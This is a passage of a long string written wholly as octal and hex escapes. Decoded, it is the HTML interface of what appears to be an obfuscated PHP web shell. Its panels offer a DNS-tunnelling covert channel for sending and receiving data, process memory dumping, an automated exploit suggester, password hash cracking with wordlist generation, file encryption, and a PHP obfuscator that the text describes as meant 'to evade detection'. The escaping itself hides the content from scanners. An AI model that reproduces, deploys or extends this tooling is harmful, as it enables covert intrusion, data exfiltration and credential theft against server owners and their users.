141\x6e\76\x3c\x73\160\141\156\x20\143\154\x61\163\163\75\x22\164\x61\142\x2d\154\151\156\x6b\x22\x20\144\141\x74\141\55\164\x61\x62\x3d\42\144\156\x73\55\164\x75\x6e\x6e\x65\x6c\42\x3e\104\116\123\x20\124\165\156\156\x65\x6c\151\156\147\74\57\163\x70\x61\156\x3e\x3c\x2f\x64\x69\166\76\x3c\144\x69\166\x20\151\x64\x3d\x22\164\x61\142\55\x66\x69\154\x65\x2d\x63\x72\x79\160\x74\x6f\x22\40\x63\154\x61\163\163\75\42\164\141\x62\x2d\x63\157\x6e\x74\x65\156\x74\40\141\x63\x74\x69\x76\145\42\76\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\x3d\42\x74\157\157\154\55\x73\x65\x63\x74\x69\157\156\42\76\74\150\x33\76\x46\x69\154\145\x20\x45\156\x63\x72\x79\160\x74\x69\157\156\x2f\104\145\143\162\x79\160\x74\151\157\x6e\74\57\x68\63\76\74\160\x20\x73\x74\x79\154\145\75\42\143\157\x6c\x6f\162\x3a\40\x76\x61\162\x28\x2d\55\x74\x65\170\164\x2d\x6d\145\144\x29\73\x22\x3e\105\x6e\x63\x72\171\x70\164\40\157\162\x20\x64\145\x63\162\x79\160\164\40\x66\151\x6c\x65\163\40\165\x73\x69\156\x67\x20\101\105\123\55\x32\65\x36\55\103\x42\103\40\x65\x6e\143\x72\171\160\x74\151\x6f\156\x2e\x3c\57\x70\76\x3c\144\151\x76\40\x73\164\x79\x6c\x65\75\x22\144\151\163\160\x6c\x61\x79\72\x67\x72\151\144\73\x20\x67\162\x69\144\x2d\164\x65\155\160\x6c\x61\x74\145\x2d\143\157\x6c\x75\155\x6e\163\72\x20\x72\145\x70\x65\x61\164\x28\141\165\164\157\x2d\x66\151\x74\x2c\x20\x6d\x69\156\x6d\141\x78\50\62\x35\60\x70\x78\x2c\x20\61\146\162\51\x29\x3b\x20\x67\x61\160\72\61\x72\x65\x6d\x3b\40\x6d\x61\162\147\151\156\x2d\142\157\164\164\x6f\x6d\72\61\162\x65\x6d\x3b\42\x3e\74\151\x6e\160\x75\164\40\x74\171\160\145\x3d\x22\x74\145\x78\164\42\x20\151\144\x3d\42\143\x72\171\160\164\157\55\x66\x69\x6c\145\55\x70\x61\x74\150\x22\x20\x70\x6c\141\x63\145\x68\157\154\x64\145\x72\75\42\x46\165\154\x6c\x20\x70\x61\x74\x68\40\164\157\x20\x66\x69\154\x65\42\76\74\x69\x6e\x70\165\164\40\x74\171\x70\x65\75\x22\x70\141\x73\163\167\x6f\162\x64\42\x20\151\x64\x3d\42\143\x72\x79\x70\164\x6f\x2d\160\141\x73\x73\167\x6f\x72\144\x22\x20\160\x6c\141\x63\x65\150\157\x6c\144\x65\x72\x3d\42\x50\141\x73\x73\x77\x6f\162\144\x22\76\x3c\57\144\x69\x76\76\74\144\151\x76\x20\163\x74\171\154\145\x3d\x22\144\151\163\x70\x6c\x61\x79\x3a\x66\154\x65\170\73\x20\x67\141\x70\x3a\x31\x72\145\x6d\x3b\42\x3e\x3c\x62\x75\164\164\x6f\156\x20\x69\144\x3d\x22\x65\x6e\143\x72\x79\x70\164\x2d\x66\x69\154\x65\x2d\142\x74\156\x22\76\xf0\237\224\x92\x20\105\156\143\x72\x79\160\164\40\106\151\x6c\x65\74\57\x62\x75\164\164\157\156\x3e\x3c\142\x75\x74\164\x6f\156\x20\x69\x64\75\42\x64\145\143\162\x79\160\x74\55\146\x69\154\145\55\142\x74\x6e\x22\x3e\xf0\x9f\224\x93\40\x44\x65\143\162\171\x70\164\x20\x46\151\x6c\x65\74\x2f\x62\x75\164\164\x6f\x6e\x3e\74\57\x64\151\166\76\x3c\x64\x69\166\40\x69\144\75\42\x63\x72\x79\x70\x74\157\55\162\145\163\x75\x6c\x74\x73\42\40\163\x74\171\x6c\145\x3d\42\x6d\x61\x72\x67\151\156\x2d\x74\x6f\160\72\61\x72\x65\155\x3b\42\x3e\x3c\x2f\x64\151\166\x3e\74\57\144\151\x76\x3e\x3c\x2f\x64\151\x76\x3e\x3c\144\x69\166\40\x69\144\x3d\x22\x74\141\x62\55\144\x6e\x73\x2d\164\165\156\156\x65\154\42\40\x63\154\x61\163\163\x3d\42\164\x61\x62\x2d\x63\157\156\x74\x65\156\164\x22\x3e\x3c\144\151\x76\x20\x63\x6c\141\x73\163\x3d\42\x74\x6f\x6f\154\55\163\145\143\x74\151\157\x6e\42\x3e\74\x68\x33\x3e\x44\116\123\x20\124\x75\x6e\x6e\145\x6c\151\x6e\147\74\57\x68\x33\x3e\74\160\40\163\x74\x79\154\x65\x3d\x22\x63\x6f\x6c\x6f\x72\72\x20\x76\x61\x72\50\x2d\55\x74\145\x78\x74\55\155\x65\144\x29\x3b\42\x3e\x53\x65\156\x64\x20\141\156\144\x20\x72\145\x63\x65\151\x76\x65\40\x64\141\164\x61\x20\164\x68\x72\x6f\165\x67\150\x20\x44\x4e\123\40\161\165\x65\162\151\x65\163\x20\x28\x63\x6f\166\145\162\x74\x20\143\x68\x61\156\x6e\145\x6c\x29\56\74\57\x70\x3e\x3c\144\151\x76\40\163\x74\171\x6c\x65\75\x22\144\151\x73\160\154\141\x79\x3a\x67\x72\151\x64\x3b\x20\147\162\151\x64\55\164\145\x6d\x70\154\x61\x74\145\x2d\x63\x6f\x6c\165\155\156\x73\x3a\x20\162\x65\160\x65\141\164\50\x61\x75\164\x6f\x2d\x66\x69\x74\x2c\40\x6d\x69\156\155\x61\x78\50\62\60\60\x70\170\x2c\40\x31\146\162\51\51\x3b\40\x67\x61\160\x3a\x31\162\145\x6d\73\x20\155\141\x72\147\x69\156\55\x62\157\164\x74\x6f\x6d\72\x31\162\x65\155\x3b\x22\x3e\x3c\151\x6e\160\x75\x74\x20\164\171\x70\x65\x3d\42\x74\x65\x78\x74\x22\x20\x69\x64\x3d\42\144\156\x73\x2d\144\x6f\x6d\141\151\156\42\40\x70\x6c\x61\143\145\150\157\x6c\144\x65\162\x3d\42\104\x6f\x6d\141\151\x6e\x20\x28\x65\x2e\147\56\54\x20\145\x78\x61\155\160\154\145\x2e\143\x6f\x6d\x29\x22\x20\x76\141\154\165\145\75\42\145\170\x61\x6d\x70\x6c\145\x2e\x63\x6f\155\42\76\x3c\164\145\x78\x74\141\162\145\141\x20\151\144\75\x22\144\x6e\163\x2d\x64\x61\164\141\42\x20\160\154\141\x63\x65\x68\x6f\154\144\x65\162\x3d\x22\104\x61\x74\141\40\164\x6f\x20\163\145\156\x64\x22\40\163\164\x79\154\145\x3d\x22\x67\x72\151\144\55\x63\x6f\x6c\165\155\156\x3a\40\61\40\x2f\40\55\61\x3b\40\155\151\x6e\55\150\x65\x69\147\x68\164\x3a\61\60\x30\160\170\x3b\x22\76\74\57\164\145\170\164\x61\x72\145\141\x3e\x3c\x2f\144\151\x76\x3e\x3c\x64\151\x76\40\x73\164\171\x6c\x65\x3d\42\144\x69\x73\160\x6c\x61\171\x3a\146\x6c\x65\170\73\x20\x67\141\160\x3a\x31\x72\145\155\73\42\76\x3c\142\x75\164\164\157\x6e\40\151\x64\75\x22\x64\x6e\163\55\163\x65\156\144\55\x62\164\156\x22\x3e\xf0\x9f\223\244\40\x53\145\x6e\144\x20\166\151\x61\x20\104\116\123\74\x2f\x62\x75\x74\x74\157\x6e\76\x3c\x62\165\164\164\157\156\40\151\144\x3d\x22\x64\156\x73\55\x72\145\143\x65\151\166\x65\x2d\x62\x74\x6e\x22\76\360\x9f\x93\245\40\122\x65\x63\x65\151\166\145\x20\x76\x69\141\40\104\116\123\x3c\57\x62\165\164\164\157\x6e\76\74\57\144\x69\x76\76\x3c\x70\x72\x65\x20\x69\144\x3d\x22\x64\x6e\163\55\x72\145\x73\x75\154\164\x73\42\40\143\154\141\x73\x73\75\x22\157\165\x74\x70\165\x74\x2d\142\157\x78\42\x20\x73\164\x79\154\145\x3d\x22\x6d\141\x72\147\151\156\x2d\x74\x6f\x70\x3a\x31\x72\145\x6d\x3b\x22\x3e\74\x2f\x70\162\x65\x3e\x3c\x2f\144\151\166\76\74\x2f\144\151\x76\x3e\x3c\57\144\151\166\x3e\74\x2f\144\x69\x76\76\12\11\x9\74\144\151\x76\40\x69\x64\x3d\x22\166\151\145\167\x2d\141\x64\x76\x61\x6e\x63\x65\x64\x2d\164\157\x6f\154\x73\42\x20\x63\x6c\x61\163\163\x3d\x22\x76\151\x65\x77\55\x63\157\x6e\x74\141\x69\x6e\x65\x72\x22\76\74\x64\151\x76\x20\x63\154\x61\x73\163\75\x22\143\157\x6e\x74\145\x6e\x74\55\x68\x65\141\x64\145\x72\x22\76\101\x64\166\141\156\143\145\x64\x20\124\157\x6f\154\163\74\57\144\151\166\76\x3c\144\x69\166\x20\143\x6c\141\x73\x73\x3d\x22\x63\x6f\156\164\145\x6e\x74\x2d\x61\x72\x65\x61\x22\x3e\74\x64\151\166\x20\143\154\141\163\163\x3d\42\x74\141\x62\x73\x22\x3e\74\163\160\141\156\x20\x63\154\x61\163\x73\75\42\x74\141\142\55\x6c\x69\x6e\x6b\x20\141\x63\x74\151\x76\x65\42\40\x64\141\x74\x61\x2d\164\x61\142\x3d\x22\x6d\x65\155\x6f\162\x79\x2d\144\165\155\x70\42\x3e\x4d\x65\x6d\x6f\x72\x79\40\x41\156\x61\x6c\x79\163\151\x73\74\x2f\163\160\x61\156\76\74\163\160\141\156\x20\143\154\x61\x73\x73\75\42\164\141\x62\x2d\154\151\156\153\42\x20\144\x61\x74\x61\x2d\x74\141\142\75\x22\x65\x78\x70\154\x6f\151\164\x2d\163\x75\147\x67\x65\x73\x74\145\x72\x22\x3e\105\170\160\x6c\157\151\164\40\123\165\x67\147\145\163\164\x65\x72\74\x2f\x73\x70\x61\156\76\74\163\x70\141\156\x20\x63\154\141\x73\x73\75\x22\x74\141\142\x2d\x6c\151\x6e\153\x22\40\x64\x61\164\141\x2d\x74\141\x62\x3d\x22\160\x61\163\163\167\x6f\x72\144\x2d\x63\162\x61\x63\x6b\145\x72\42\76\120\x61\163\163\x77\x6f\162\x64\x20\103\162\x61\x63\x6b\145\162\x3c\x2f\163\160\141\156\x3e\x3c\163\160\141\156\x20\143\x6c\x61\x73\163\x3d\42\164\141\142\55\x6c\151\156\x6b\42\x20\144\x61\x74\x61\55\x74\141\142\x3d\42\x63\x6f\144\x65\55\x6f\x62\x66\x75\x73\143\141\x74\x6f\162\42\x3e\103\x6f\x64\x65\x20\117\x62\146\x75\163\143\141\164\x6f\162\x3c\x2f\163\x70\x61\x6e\x3e\74\x2f\x64\151\x76\76\74\x64\x69\166\40\151\x64\75\42\164\141\142\55\x6d\145\x6d\157\162\x79\x2d\144\x75\x6d\160\x22\40\143\x6c\141\163\x73\x3d\42\164\141\x62\x2d\143\157\x6e\x74\x65\156\164\40\141\143\x74\x69\166\x65\x22\76\74\x64\x69\x76\x20\143\x6c\x61\x73\x73\75\42\164\x6f\157\154\x2d\163\145\143\164\x69\x6f\x6e\x22\x3e\74\150\63\76\115\x65\155\x6f\x72\171\x20\x44\x75\155\160\40\x41\156\141\x6c\x79\172\x65\x72\x3c\x2f\150\63\x3e\x3c\x70\x20\x73\x74\x79\154\145\x3d\x22\x63\x6f\x6c\x6f\162\x3a\x20\166\x61\x72\x28\55\x2d\164\x65\170\x74\x2d\155\x65\x64\x29\x3b\x22\76\104\165\155\160\40\x61\156\144\x20\x61\x6e\x61\x6c\171\x7a\x65\40\160\x72\157\x63\145\163\163\x20\155\x65\x6d\x6f\x72\171\x20\50\114\151\x6e\x75\x78\40\x6f\156\x6c\171\54\40\x72\145\161\x75\x69\x72\145\x73\x20\x67\x64\x62\40\x6f\x72\40\57\x70\x72\x6f\x63\40\x61\143\143\145\163\x73\x29\56\74\x2f\160\x3e\x3c\x64\151\166\40\163\164\171\x6c\145\75\x22\x64\x69\x73\x70\x6c\141\171\72\x66\154\x65\x78\x3b\40\x67\141\160\72\61\x72\x65\x6d\73\40\155\x61\162\x67\151\156\55\x62\x6f\164\164\x6f\x6d\72\x31\x72\145\x6d\x3b\x22\x3e\x3c\151\156\160\165\164\40\x74\x79\x70\145\75\42\156\x75\x6d\142\x65\x72\42\x20\151\144\x3d\x22\x6d\x65\x6d\144\x75\x6d\160\55\160\x69\144\x22\40\x70\154\x61\x63\x65\x68\157\x6c\x64\x65\x72\75\42\120\162\157\143\x65\163\x73\40\111\x44\x20\x28\120\x49\x44\x29\42\40\x73\x74\x79\154\145\x3d\x22\x77\151\144\x74\150\x3a\x31\65\x30\160\x78\x3b\42\76\x3c\142\165\164\x74\157\x6e\x20\151\x64\75\42\x64\x75\x6d\x70\x2d\x6d\x65\x6d\157\x72\171\55\x62\x74\x6e\42\76\x44\x75\x6d\x70\40\x4d\x65\155\157\162\x79\74\x2f\x62\x75\x74\164\157\156\x3e\74\x2f\x64\151\166\x3e\x3c\144\151\166\40\163\164\x79\x6c\145\x3d\x22\144\151\163\x70\154\x61\x79\x3a\x66\x6c\x65\170\x3b\x20\147\x61\x70\72\x31\162\x65\155\x3b\40\x6d\141\x72\x67\151\156\x2d\x74\x6f\x70\x3a\61\x72\145\155\x3b\42\76\74\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\x22\164\x65\x78\x74\x22\x20\151\x64\75\42\155\x65\155\144\165\x6d\160\x2d\146\151\154\x65\42\40\160\x6c\141\x63\145\150\x6f\x6c\144\x65\x72\75\x22\104\x75\155\160\40\146\151\154\x65\x20\160\141\x74\x68\x22\x20\163\x74\171\x6c\x65\x3d\42\x66\x6c\x65\x78\x3a\x31\73\x22\76\74\x69\x6e\x70\x75\164\x20\x74\x79\x70\145\x3d\x22\164\145\x78\x74\42\x20\151\x64\x3d\x22\x6d\x65\x6d\x64\165\x6d\160\55\x70\x61\164\x74\145\162\x6e\42\x20\160\154\x61\x63\145\x68\157\x6c\x64\x65\162\75\x22\x53\145\141\162\143\150\x20\x70\141\164\x74\145\x72\x6e\x20\x28\157\x70\x74\x69\x6f\x6e\141\154\x29\42\x20\x73\164\171\x6c\x65\75\x22\x66\154\145\170\x3a\61\73\42\x3e\74\x62\165\164\x74\157\156\x20\x69\144\75\x22\141\156\141\154\171\172\145\55\155\x65\x6d\x6f\x72\171\55\142\x74\156\x22\x3e\x41\156\141\154\x79\x7a\x65\x20\x44\x75\155\x70\74\57\142\165\x74\164\157\x6e\76\74\57\x64\151\166\x3e\x3c\160\x72\x65\x20\151\144\x3d\42\155\x65\x6d\x64\165\x6d\x70\x2d\x6f\165\x74\160\x75\x74\x22\40\143\x6c\x61\x73\163\75\x22\x6f\x75\x74\x70\x75\x74\55\142\157\x78\42\x20\x73\164\x79\154\x65\75\42\x6d\141\x72\147\x69\x6e\55\164\x6f\x70\72\x31\x72\x65\x6d\x3b\x20\x6d\151\x6e\x2d\x68\145\x69\147\x68\x74\72\x32\x30\x30\x70\170\x3b\x22\76\x3c\x2f\160\x72\x65\76\x3c\x2f\144\151\x76\76\74\57\144\151\x76\x3e\74\x64\x69\x76\40\x69\144\x3d\x22\164\x61\142\x2d\145\x78\x70\x6c\157\x69\164\x2d\x73\x75\147\x67\x65\163\164\x65\x72\x22\x20\143\x6c\141\x73\x73\x3d\42\164\141\x62\x2d\143\x6f\x6e\x74\x65\156\164\x22\76\74\x64\151\166\x20\143\154\141\x73\163\x3d\x22\x74\x6f\x6f\x6c\55\x73\x65\143\164\x69\157\x6e\x22\76\x3c\x68\x33\x3e\101\165\x74\x6f\155\x61\x74\145\x64\40\105\170\160\154\157\151\x74\40\x53\x75\x67\x67\145\x73\x74\145\162\74\57\150\x33\76\x3c\x70\x20\163\x74\x79\x6c\x65\x3d\42\x63\x6f\154\x6f\x72\72\x20\x76\x61\162\50\x2d\x2d\164\145\x78\164\x2d\155\x65\x64\51\x3b\42\x3e\x41\x6e\141\154\171\x7a\145\40\x73\x79\x73\x74\x65\155\x20\141\156\x64\40\163\x75\x67\147\145\163\x74\x20\x70\157\x74\145\x6e\x74\x69\141\154\40\x65\170\x70\x6c\x6f\151\x74\163\40\142\141\x73\145\x64\40\x6f\156\40\117\123\54\x20\x6b\145\162\156\145\154\54\40\x61\x6e\x64\40\151\x6e\163\x74\x61\154\x6c\x65\144\40\163\x6f\146\x74\167\x61\x72\145\x2e\x3c\x2f\160\x3e\x3c\x62\x75\x74\x74\157\156\x20\x69\144\75\42\163\x75\147\x67\145\x73\164\x2d\x65\x78\x70\x6c\157\151\x74\163\55\142\x74\x6e\42\x3e\360\237\x94\215\40\123\x75\x67\x67\x65\x73\x74\x20\x45\x78\x70\x6c\157\151\164\x73\x3c\57\x62\165\x74\164\x6f\156\76\74\144\151\x76\40\151\144\75\42\x65\x78\x70\154\x6f\151\x74\x2d\x73\165\x67\x67\145\163\164\x69\157\x6e\163\42\40\x73\164\x79\154\x65\75\42\155\141\162\147\x69\x6e\55\x74\157\160\x3a\61\x72\145\x6d\x3b\42\x3e\x3c\x2f\x64\x69\166\76\74\x2f\144\151\166\x3e\74\57\144\x69\166\x3e\74\144\x69\x76\x20\x69\144\75\42\164\x61\142\55\x70\141\163\x73\167\x6f\162\x64\55\143\x72\141\143\x6b\145\x72\42\40\143\x6c\141\x73\163\75\x22\164\141\142\55\x63\x6f\x6e\x74\x65\x6e\164\42\x3e\74\x64\151\166\x20\x63\154\x61\x73\163\x3d\x22\164\x6f\157\154\55\x73\145\x63\164\151\157\x6e\42\x3e\x3c\150\x33\x3e\x50\141\163\163\167\x6f\162\x64\40\x48\141\163\x68\40\103\162\141\x63\153\x65\x72\74\x2f\x68\63\76\x3c\160\40\x73\164\x79\x6c\145\x3d\42\143\x6f\154\x6f\162\x3a\40\x76\141\x72\50\55\x2d\164\x65\x78\x74\55\155\x65\x64\51\x3b\x22\x3e\101\164\x74\145\x6d\160\164\x20\164\x6f\40\x63\x72\x61\143\x6b\x20\x70\141\163\163\167\x6f\162\144\40\x68\x61\x73\150\x65\x73\40\165\x73\151\156\x67\x20\x63\x6f\x6d\155\x6f\156\40\160\141\x73\x73\x77\x6f\162\144\x73\40\x61\156\x64\40\x77\x6f\x72\x64\x6c\151\163\x74\163\x2e\x3c\x2f\160\76\x3c\x64\151\x76\x20\163\164\x79\154\145\x3d\42\x64\151\x73\x70\x6c\x61\x79\72\x67\x72\x69\144\x3b\x20\x67\x72\151\144\x2d\164\x65\155\x70\154\141\164\x65\55\x63\x6f\x6c\165\155\156\163\72\x20\x72\145\160\145\x61\x74\x28\141\165\x74\x6f\55\x66\151\164\x2c\40\x6d\151\156\x6d\141\170\50\x32\60\60\x70\170\x2c\x20\x31\x66\x72\51\x29\73\40\x67\x61\x70\x3a\61\x72\x65\x6d\x3b\40\x6d\141\162\147\x69\156\55\142\x6f\x74\164\x6f\x6d\72\61\162\145\x6d\x3b\x22\76\x3c\151\x6e\x70\x75\164\40\164\x79\x70\145\75\x22\x74\x65\170\164\x22\40\151\x64\x3d\x22\x68\141\163\x68\55\151\x6e\160\x75\164\x22\x20\x70\154\x61\143\x65\150\157\x6c\144\x65\162\x3d\42\x48\141\x73\150\x20\x74\x6f\40\143\162\141\x63\153\42\40\163\x74\171\154\145\x3d\42\147\x72\x69\144\55\143\157\154\165\155\x6e\72\x20\x31\x20\57\40\x2d\61\x3b\x22\x3e\74\x73\145\x6c\x65\143\x74\x20\x69\144\x3d\x22\150\141\x73\x68\55\164\x79\160\145\42\40\163\164\x79\x6c\x65\75\42\x77\x69\144\x74\x68\x3a\x31\x35\x30\x70\x78\73\x22\x3e\74\x6f\160\x74\151\x6f\x6e\40\166\141\x6c\165\145\x3d\42\141\x75\164\157\42\76\101\165\x74\157\55\x64\x65\164\x65\143\x74\x3c\57\x6f\160\164\x69\157\156\x3e\x3c\157\160\164\151\x6f\x6e\x20\x76\x61\154\x75\145\75\42\x6d\x64\65\42\x3e\115\x44\x35\x3c\57\x6f\x70\x74\x69\157\156\x3e\74\x6f\x70\x74\x69\x6f\x6e\40\x76\x61\x6c\165\x65\x3d\x22\x73\150\141\x31\42\x3e\x53\110\101\x31\x3c\x2f\157\x70\x74\151\157\x6e\76\x3c\157\160\164\151\x6f\x6e\40\166\x61\154\165\x65\x3d\x22\x73\150\141\x32\x35\x36\42\x3e\123\x48\101\62\x35\66\x3c\57\x6f\x70\164\151\x6f\x6e\x3e\74\157\160\x74\151\157\156\x20\166\141\x6c\x75\x65\75\42\142\143\x72\x79\160\x74\x22\76\x62\143\x72\x79\x70\164\x3c\x2f\x6f\160\x74\151\x6f\156\76\x3c\x2f\x73\145\x6c\145\143\164\x3e\x3c\x2f\x64\151\166\76\x3c\x62\x75\x74\x74\x6f\x6e\x20\x69\144\x3d\42\143\162\141\x63\153\x2d\150\x61\163\150\x2d\x62\x74\x6e\x22\76\360\x9f\224\x93\x20\103\x72\141\143\153\x20\110\x61\x73\150\x3c\x2f\142\x75\x74\x74\157\x6e\x3e\x3c\x64\151\x76\40\x69\x64\x3d\42\143\x72\141\143\x6b\x2d\162\145\x73\165\x6c\164\x73\x22\x20\x73\x74\171\154\145\75\x22\155\x61\162\x67\151\x6e\55\164\157\x70\72\61\x72\145\155\x3b\42\76\x3c\57\144\x69\x76\76\x3c\x68\162\76\x3c\150\63\76\127\157\162\x64\154\x69\163\x74\40\107\x65\156\x65\x72\x61\x74\157\162\x3c\57\x68\63\x3e\x3c\x70\x20\163\164\x79\154\145\x3d\42\x63\157\154\x6f\x72\72\40\166\141\x72\50\55\55\x74\145\170\164\x2d\x6d\x65\x64\51\73\x22\76\107\145\156\145\x72\141\164\145\x20\x77\157\x72\144\154\151\163\x74\163\40\146\162\157\x6d\x20\142\x61\x73\145\x20\x77\157\162\144\x73\40\x77\x69\x74\150\40\x70\x61\x74\x74\x65\162\x6e\163\x2e\74\57\160\76\x3c\x74\x65\x78\164\x61\162\145\x61\x20\151\144\x3d\x22\167\x6f\x72\x64\154\x69\x73\x74\x2d\142\x61\x73\145\42\x20\160\x6c\x61\143\145\x68\157\154\x64\145\x72\75\42\x42\141\163\145\40\x77\x6f\x72\144\x73\x20\50\157\156\145\40\x70\145\x72\x20\154\151\156\145\x29\x22\40\x73\164\171\x6c\145\75\42\x77\x69\x64\164\150\x3a\61\x30\60\45\73\x20\155\151\x6e\x2d\150\x65\x69\147\x68\164\x3a\x31\x30\x30\160\x78\x3b\40\x6d\x61\x72\147\151\156\x2d\142\x6f\164\164\x6f\x6d\72\x31\162\x65\155\x3b\x22\x3e\x3c\57\164\x65\170\164\141\162\145\141\x3e\74\142\165\x74\164\157\x6e\40\x69\x64\x3d\x22\x67\145\156\x65\162\141\164\x65\55\167\157\x72\144\154\x69\163\x74\55\x62\164\x6e\x22\x3e\107\x65\x6e\145\162\x61\x74\145\x20\x57\x6f\x72\x64\154\151\163\x74\74\x2f\x62\165\x74\164\157\x6e\x3e\x3c\x64\x69\x76\x20\x69\144\75\x22\x77\157\162\x64\154\151\163\x74\x2d\162\x65\x73\x75\x6c\164\163\42\40\163\x74\x79\x6c\145\75\42\155\141\162\147\151\x6e\55\x74\x6f\x70\72\x31\162\145\155\73\42\76\74\x2f\144\x69\166\x3e\x3c\57\x64\151\x76\x3e\74\57\144\151\166\76\74\x64\151\166\40\151\144\75\42\164\141\x62\55\x63\157\x64\x65\x2d\x6f\142\146\x75\x73\x63\141\164\x6f\x72\x22\x20\x63\x6c\x61\x73\x73\x3d\42\x74\141\142\x2d\x63\157\156\x74\145\x6e\x74\x22\76\74\144\151\x76\40\x63\154\x61\163\163\x3d\42\164\x6f\157\x6c\55\163\x65\143\164\x69\x6f\x6e\x22\x3e\x3c\x68\63\76\120\110\x50\40\103\157\144\145\40\x4f\x62\146\x75\x73\143\x61\x74\x6f\162\74\x2f\150\x33\76\74\x70\40\163\x74\171\154\145\75\42\x63\157\x6c\157\x72\x3a\40\166\x61\x72\x28\55\55\x74\x65\170\164\55\155\145\x64\x29\73\x22\76\117\142\146\x75\163\x63\x61\164\x65\x20\x50\x48\x50\x20\143\x6f\x64\145\40\165\163\151\x6e\x67\x20\166\x61\x72\x69\157\165\163\x20\x74\x65\143\150\x6e\151\x71\165\145\163\40\x74\157\40\145\166\x61\144\145\40\144\x65\x74\145\x63\x74\151\157\156\56\74\x2f\160\x3e\x3c\144\151\166\40\x73\164\x79\x6c\x65\75\42\155\141\162\147\151\x6e\x2d\142\x6f\164\x74\157\x6d\72\61\162\x65\x6d\73\42\76\x3c\x73\145\x6c\145\x63\164\x20\151\144\75\x22\x6f\x62\x66\x75\163\x63\x61\164\x65\55\155\145\164\150\157\x64\x22\40\x73\164\x79\x6c\x65\75\42\167\151\144\164\150\72\x32\x30\60\160\x78\x3b\x22\x3e\x3c\x6f\160\164\151\157\156\x20\166\x61\154\x75\x65\x3d\42\x62\141\x73\x65\x36\64\x22\x3e\x42\141\x73\145\x36\x34\74\57\x6f\160\164\x69\157\x6e\x3e\74\x6f\160\x74\x69\x6f\x6e\x20\166\x61\154\165\145\75\x22\x68\145\x78\42\x3e\x48\145\x78\x3c\57\x6f\160\164\151\157\156\x3e\74\157\160\x74\x69\x6f\156\x20\x76\141\x6c\165\x65\75\x22\x63\150\x72\42\76\x43\x48\122\x3c\57\x6f\160\164\x69\x6f\x6e\76\x3c\x6f\160\x74\151\x6f\156\40\166\x61\154\165\x65\75\x22\x72\157\164\61\63\x22\x3e\x52\117\124\x31\x33\x3c\57\157\x70\164\x69\x6f\156\76\74\157\x70\x74\151\157\156\x20\166\x61\x6c\x75\x65\x3d\x22\x67\172\151\x70\x22\76\107\x7a\x69\x70\40\53\x20\x42\x61\163\145\66\64\74\x2f\157\160\x74\151\x6f\156\x3e\x3c\x6f\x70\164\x69\157\x6e\x20\166\141\x6c\x75\145\x3d\42\166\x61\162\x69\141\x62\154\145\x5f\x73\160\154\x69\164\x22\x3e\126\141\x72\x69\x61\x62\154\145\x20\123\x70\x6c\151\164\74\57\157\160\164\x69\157\156\x3e\74\57\163\x65\154\x65\143\x74\x3e\74\x2f\x64\151\166\76\x3c\x74\x65\x78\164\141\162\x65\141\40\151\x64\x3d\x22\157\x62\x66\x75\x73\x63\141\164\145\x2d\143\157\x64\x65\42\40\x70\x6c\x61\143\145\x68\x6f\154\x64\145\x72\75\x22\x50\110\120\40\x63\x6f\144\145\40\164\x6f\40\157\x62\146\x75\x73\x63\141\164\145\x22\x20\163\x74\171\x6c\x65\x3d\42\x77\x69\x64\164\150\x3a\x31\x30\x30\x25\x3b\x20\x6d\151\156\x2d\x68\x65\151\x67\150\164\x3a\x32\60\x30\160\170\73\x20\155\x61\162\x67\x69\x6e\55\x62\157\x74\164\157\155\72\61\162\x65\x6d\73\x22\76\x3c\x2f\164\x65\170\x74\x61\x72\145\x61\x3e\74\142\x75\164\164\157\156\x20\x69\144\x3d\42\x6f\142\x66\165\x73\143\141\x74\x65\x2d\x62\x74\x6e\x22\x3e\117\x62\146\x75\163\143\141\164\145\x20\103\x6f\144\x65\74\57\x62\165\x74\164\x6f\x6e\76\74\x70\x72\x65\x20\x69\144\x3d\x22\157\142\x66\x75\163\x63\141\164\145\x2d\157\165\164\160\x75\x74\x22\40\143\x6c\141\163\163\x3d\x22\x6f\x75\164\x70\165\x74\55\x62\157\x78\42\40\163\x74\x79\x6c\x65\75\42\155\x61\x72\x67\x69\156\x2d\164\157\160\x3a\x31\x72\145\x6d\x3b\x20\155\x69\156\x2d\x68\145\151\x67\150\164\72\x31\x35\x30\160\170\x3b\x22\76\74\x2f\160\x72\x65\76\74\x2f\144\151\166\76\74\57\x64\x69\x76\76\74\x2f\144\x69\166\76\x3c\57\144\151\166\x3e\12\x9\11\74\x64\x69\166\x20\x69\x64\75\42\166\151\x65\x77\55\x6e\x6f\x74\151\x66\151\143\141\x74\151\157\156\163\x22\40\143\154\x61\163\163\x3d\x22\166\x69\145\167\x2d\x63\157\156\x74\x61\x69\x6e\145\162\x22\x3e\x3c\144\151\x76\40\x63\x6c\x61\x73\163\75\42\143\x6f\x6e\x74\145\x6e\164\55\x68\145\x61\x64\145\162\x22\76\116\x6f\164\151\x66\x69\x63\141\x74\151\x6f\156\40\103\x65\156\164\x65\x72\74\x2f\144\151\x76\x3e\x3c\144\151\x76\40\x63\154\141\163\163\x3d\42\143\157\x6e\164\145\156\164\55\x61\162\145\x61\x22\x3e\74\x64\151\166\40\x73\x74\171\x6c\145\x3d\x22\x64\x69\163\160\154\x61\x79\72\x66\154\x65\x78\x3b\x20\x6a\165\163\164\x69\146\171\x2d\143\x6f\x6e\164\x65\x6e\x74\x3a\163\160\x61\x63\x65\55\142\x65\164\167\x65\x65\156\x3b\40\141\x6c\151\147\156\55\x69\x74\145\155\x73\72\143\145\x6e\x74\145\x72\x3b\40\155\141\x72\147\151\x6e\x2d\x62\x6f\164\x74\157\155\x3a\61\x72\145\x6d\x3b\x22\x3e\74\x68\63\x20\163\x74\171\x6c\145\x3d\42\155\x61\x72\x67\x69\156\x3a\60\x3b\x22\76\116\157\x74\x69\x66\151\143\141\164\151\157\x6e\x73\x3c\57\x68\x33\76\74\142\x75\x74\x74\157\x6e\x20\x69\144\75\x22\x63\x6c\x65\141\x72\55\141\x6c\154\x2d\156\x6f\164\x69\x66\x69\143\x61\164\x69\157\x6e\163\55\x62\x74\156\42\x3e\x43\x6c\x65\141\x72\40\x41\154\x6c\74\x2f\x62\165\x74\164\157\x6e\x3e\74\x2f\144\151\x76\x3e\74\144\x69\x76\x20\x69\144\x3d\x22\x6e\x6f\x74\151\146\x69\x63\x61\164\151\157\156\x73\55\x6c\151\163\164\x22\40\163\164\171\154\x65\x3d\x22\144\151\163\160\x6c\141\171\x3a\146\x6c\x65\x78\73\x20\x66\154\x65\170\x2d\144\x69\162\x65\x63\164\x69\x6f\156\72\x63\x6f\154\165\155\156\x3b\40\147\141\160\72\60\56\x35\x